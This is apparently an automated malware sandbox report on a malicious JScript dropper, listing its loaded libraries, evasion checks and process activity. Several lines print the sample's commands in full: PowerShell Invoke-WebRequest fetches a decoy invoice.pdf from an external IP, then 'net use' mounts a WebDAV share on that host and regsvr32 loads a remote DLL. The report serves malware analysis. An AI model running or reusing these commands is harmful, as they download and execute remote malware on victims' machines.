Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5042.js.csv");ITextStream.WriteLine(" entry:2430 f:bjlxbtr");ITextStream.WriteLine(" exec:2 f:bjlxbtr");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22pwjli%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20jcvjhjh%3Dthis%5Bigazsv%2Bhgysx%2Bzrvyg%2Bnuwizjo%2Bzzcwiqyf%2Bkguzhdadq%2Bwfzqoz%2Bjceysrs%5D(this%5Bqefcpy%2Bhqivfp%2Bwnylweqwl%2Bzrvyg%");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4905			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4749			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep count: 4905 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep count: 4749 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3512	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5924	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7440	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1737438985.000001FEABC2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2965345171.0000015D9685A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2963268079.0000015D91429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1737438985.000001FEABBC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
